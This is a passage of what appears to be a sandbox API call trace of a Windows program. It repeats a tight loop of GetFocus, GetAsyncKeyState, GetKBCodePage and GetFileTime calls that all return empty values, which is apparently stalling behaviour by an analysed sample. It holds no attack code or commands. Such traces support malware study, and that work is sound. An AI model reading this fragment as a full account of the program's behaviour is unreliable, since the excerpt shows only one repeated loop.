lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.657] GetFocus () returned 0x0 [0220.657] GetAsyncKeyState (vKey=58) returned 0 [0220.657] GetKBCodePage () returned 0x1b5 [0220.657] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.658] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.658] GetFocus () returned 0x0 [0220.658] GetAsyncKeyState (vKey=58) returned 0 [0220.658] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.659] GetKBCodePage () returned 0x1b5 [0220.659] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.659] GetFocus () returned 0x0 [0220.659] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.660] GetFocus () returned 0x0 [0220.660] GetAsyncKeyState (vKey=58) returned 0 [0220.660] GetKBCodePage () returned 0x1b5 [0220.660] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.661] GetFocus () returned 0x0 [0220.661] GetAsyncKeyState (vKey=58) returned 0 [0220.661] GetKBCodePage () returned 0x1b5 [0220.661] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.662] GetKBCodePage () returned 0x1b5 [0220.662] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.662] GetFocus () returned 0x0 [0220.662] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.663] GetFocus () returned 0x0 [0220.663] GetAsyncKeyState (vKey=58) returned 0 [0220.663] GetKBCodePage () returned 0x1b5 [0220.663] 